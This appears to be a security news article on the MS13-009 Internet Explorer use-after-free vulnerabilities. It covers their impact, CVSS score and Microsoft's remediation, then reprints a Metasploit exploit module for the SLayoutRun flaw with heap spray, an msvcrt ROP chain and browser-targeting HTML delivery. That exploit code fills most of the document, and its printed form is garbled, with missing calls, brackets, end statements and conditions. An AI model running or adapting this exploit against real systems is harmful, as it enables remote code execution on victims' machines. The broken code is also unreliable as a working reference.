The recent major vulnerability CVE-2013-0027 flooded almost all versions of Microsoft Internet Explorer and affected operating systems like Windows XP, Vista, 7, and 8, including all the major server versions too. Some thirteen privately reported vulnerabilities were recently resolved in a security bulletin by Microsoft.

The vulnerability, now marked as critical for Internet Explorer 6, 7, 8, 9 and 10, allowed remote code execution if a user tried to view a specially crafted web page using those versions of IE. As disclosed by Microsoft, an attacker could gain the same user privileges as the current user on the successful exploitation of the vulnerability, which triggers due to improper memory operations performed by IE when handling the crafted HTML content. Also, if the current user had administrator privileges, the attacker could compromise the whole system.

For successful exploitation, a malicious user may trick a normal user to go to a malicious site, using instructions, probably even phishing, to actually make the user click that particular link. The malicious site would contain HTML code that fails in maintaining the proper reference count of an object, causing the vulnerability. Due to this incorrect reference count, an attacker would be able to force the freeing of an object currently in use. He could then reallocate the memory previously allocated for the freed object to contain an attacker controlled data. This ultimately results in remote code execution when the freed object was later accessed. The vulnerability may then allow access of deleted or previously removed memory objects, ending in a use after free error and memory corruption.

This recent hack actually complemented the previously released patches in MS12-063, which also had remote code execution vulnerabilities.

CVSSv2 Base Score = 9.3

This particular vulnerability has a CVSS rating of 9.3, which is quite high. According to Microsoft Security Bulletin MS13-009, the remediation to the vulnerability is an automatic update using a security patch released by Microsoft. Computer administrators are further warned to alert users running ActiveX content to adjust security settings to High or disable ActiveX for more secure zones. It’s also recommended that they use Microsoft Baseline Security Analyzer tool to scan for security issues and misconfigurations. Users, on the other hand, are advised not to click on links unless and until they are from a verified entity.

On similar lines, we had various CVEs like CVE-2013-0018, which allowed remote attackers to execute arbitrary code through a crafted website that triggered access to a deleted object, known as the IE Set Capture Use After Free Vulnerability. CVE-2013-0019 – CVE-2013-0029 were similarly using the same use after free vulnerability in different modules like CHTML, CobjectElement, InsertElement, SlayoutRun etc.

The exploit for MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free vulnerability has been released by Metasploit and is available on ExploitDb as well. Here is the code for this exploit:

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb

    def initialize(info={})
            'Name'           => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
            'Description'    => %q{
                This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
                where a CParaElement node is released but a reference is still kept
                in CDoc. This memory is reused when a CDoc relayout is performed.
            'License'        => MSF_LICENSE,
            'Author'         =>
                    'Scott Bell <>' # Vulnerability discovery & Metasploit module
            'References'     =>
                    [ 'CVE', '2013-0025' ],
                    [ 'MSB', 'MS13-009' ],
                    [ 'URL', '' ]
            'Payload'     =>
                    'BadChars'       => "\x00",
                    'Space'          => 920,
                    'DisableNops'    => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
            'DefaultOptions'  =>
                    'InitialAutoRunScript' => 'migrate -f'
            'Platform'    => 'win',
            'Targets'     =>
                    [ 'Automatic', {} ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
            'Privileged'      => false,
            'DisclosureDate'  => "Feb 13 2013",
            'DefaultTarget'   => 0))

      'OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)


    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if != 'Automatic'

        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

        ie_name = "IE #{ie}"

        case nt
        when '5.1'
            os_name = 'Windows XP SP3'

        targets.each do |t|
            if (!ie.empty? and and (!nt.empty? and
                print_status("Target selected as: #{}")
                return t

        return nil

    def heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

        js = %Q|

            var heap_obj = new;
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            for (var i=1; i < 0x300; i++) {
            var overflow = nops.substring(0, 10);


        js = heaplib(js, {:noobfu => true})

        if datastore['OBFUSCATE']
            js =


        return js

    def get_payload(t, cli)
        code = payload.encoded

        # No rop. Just return the payload.
        return code if t['Rop'].nil?

        # ROP chain generated by - See
        case t['Rop']
        when :msvcrt
            print_status("Using msvcrt ROP")
            rop_nops = [0x77c39f92].pack("V") * 11 # RETN
            rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
            rop_payload << rop_nops
            rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
            rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
            rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
            rop_payload << [0x77c39f92].pack("V") # RETN
            rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
            rop_payload << code

        return rop_payload

    def get_exploit(my_target, cli)
        p  = get_payload(my_target, cli)
        js = heap_spray(my_target, p)

        html = %Q|
        <!doctype html>
        var data;
        var objArray = new Array(1150);

   = "pre-line";


            for (var i=0;i<1150;i++){
                objArray[i] = document.createElement('div');
                objArray[i].className = data += unescape("%u0c0c%u0c0c");

            setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)

        <p> </p>

        return html

    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")

        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")

        html = get_exploit(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status "Sending HTML..."
        send_response(cli, html, {'Content-Type'=>'text/html'})